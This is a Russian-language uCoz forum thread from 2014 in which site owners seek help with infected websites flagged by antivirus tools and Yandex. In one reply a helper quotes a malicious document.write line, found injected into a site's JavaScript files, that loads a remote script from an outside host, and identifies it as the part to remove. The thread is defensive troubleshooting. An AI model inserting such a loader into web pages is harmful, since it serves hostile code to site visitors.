Чат сообщества
   | |
| Модератор форума: Yuri_G |
| Сообщество uCoz Мастерская uCoz Безопасность сайта Вирусы на сайтах (предотвращение, диагностика) |
| Вирусы на сайтах |
|
Как предотвратить попадание вредоносных ссылок на сайт
Диагностика
Правила подачи заявки на диагностику и поиск вредоносного кода на сайте
Полезные ссылки: Так как большинство случаев заражения сайтов является плодом неумелого обращения с готовыми скриптами, а так же с готовыми элементами дизайна для сайтов найденными в сети, то перед тем как внедрить на сайт найденный в сети скрипт стоит ознакомиться со следующими темами:
|
|
НеТормози, avast! Premier 2014 не реагирует, при посещении указанного сайта
|
|
НеТормози, к тексту блокировки дайте ещё код блока статистика с установленными кодами
и на каких страницах гавкает аваст? на всех страницах сайта или на определенных? и гавкает все время или периодически? у вас на внутренних страницах стоит довольно неприятный боди-клик. когда вы его установили? |
|
webanet, Как все было.... Позавчера с утра мой аваст начал ругаться на вирус, на любой странице. Ссылался на какой-то ресурс и как-будто на картинку. Попытался зайти на этот сайт, он заблокирован. Сейчас уже не вспомню какой ресурс, начало что-то типа mypage... Гавкает всегда, когда обновляется страница. Подумал, что в новости какая-то картинка вирусованная, отключил новостной блок, не помогло. Потом начал по одному отключать глобальные блоки, может где скрипт какой. В итоге при отключении первого контейнера, аваст перестал ругаться. Методом исключения выявил, что ругается на $ONLINE_COUNTER$ . Убрал его, написал вам. После вашей просьбы все показать, обратно вернул, НО, мой аваст больше не ругался. Зато продолжал ругаться у некоторых пользователей сайта. Завтра попрошу их отскринить сообщение. Насчет боди-клика, стоит больше года, проблем не было.
Вот код. Если ставлю ремарку на $ONLINE_COUNTER$ , вирус больше не гав-гав. <!-- Статистика --> <?if($COUNTER$)?> <table style="width: 220"> <tbody> <tr> <td style="border-width: 1px; border-style: solid; border-radius: 5px 5px 5px 5px;border-color: rgb(140, 140, 140);"> <b><span style="font-family: Arial; font-size: 8pt; ">Статистика</span></b></div> <div align="center">$ONLINE_COUNTER$ <div class="allusers" id="onl3"> <a onclick="$('#uonline').slideToggle('slow');" href="javascript://">Список пользователей онлайн</a></div> <div id="uonline" style="display: none; padding-left: 6px;">$ONLINE_USERS_LIST$</div> </td></tr></tbody></table> <?endif?> Сообщение отредактировал НеТормози - Пятница, 14 Мар 2014, 22:00:14
|
|
Нна главной странице http://www.klblkoff.com/, под гостем вот такая рекламка:
 на всех страницах сайта под логином вот такая:  Сообщение отредактировал OLEG4832 - Суббота, 15 Мар 2014, 03:23:30
|
|
OLEG4832, отключите временно все расширения для браузера, судя по всему проблема в одном из них.
|
|
Яндекс объявил сайт зараженным, сегодня в 13:00 по МСК.
Сайт: http://warplanes-world.ru В Вебмастере вот такое, не понимаю в чем проблема. В последнее время залил несколько архивов через ФТП менеджер, как файлы в load, несколько картинок. Затем появилась эта ссылка: 15.03.2014http://warplanes-world.ru/forum/22-29-1Mal/Iframe-AOСначала появилась эта ссылка: 15.03.2014http://warplanes-world.ru/forum/23-50-1Mal/Iframe-AO |
|
MegaTron7449, откройте этот скрипт на редактирование
Код <script type="text/javascript" src="/js/bspoiler.js"></script> и удалите зараженную часть Код /*264382*/ document.write('<script type="text/javascript" src="http://fotaz.16mb.com/3fyCt8YG.php?id=625788"></script>'); /*/264382*/ после удаления. меняем все пароли и на фтп тоже. ставим максимально сложные |
|
Спасибо.. только там во все файлы этот код засунули.
Подскажите, как это могло произойти? Пароли и так сложные.. Как этого избежать? Антивирус и так у меня лицензионный стоит на компьютере. Как вы узнали, что в js скриптах вирус? |
|
MegaTron7449,
Цитата Как этого избежать? дальше читайте //forum.ucoz.ru/forum/45-35736-1 Цитата Как вы узнали, что в js скриптах вирус? открыла содержимое скрипта и увидела |
|
webanet, спасибо.
не могли бы вы глянуть, где еще могли теоретически появиться вирусы на моем сайте, если не сложно. все js скрипты я очистил. |
|
MegaTron7449, пока только в файлах. после очистки пройдите в вебмастер яндекса и нажмите кнопку перепроверки (если она есть) напротив ссылки обнаружения
|
|
Антивирус: Emsisoft
Значение: Gen:Adware.MPlug.1 (B) Добавлено (15 Мар 2014, 23:03:26) --------------------------------------------- Что за вирус? Это тот что в файлах моих был:? Проверил сайт тут: del |
|
MegaTron7449,
Цитата Проверил сайт тут: может все же дождемся вердика от яндекса и не будет собой обтирать все онлайн проверки, большая часть из которых для серьезного анализа просто не годится? |
| |||
Будьте в курсе всех обновлений: подпишитесь на наш официальный Telegram-канал uCoz и задавайте вопросы в чате сообщества!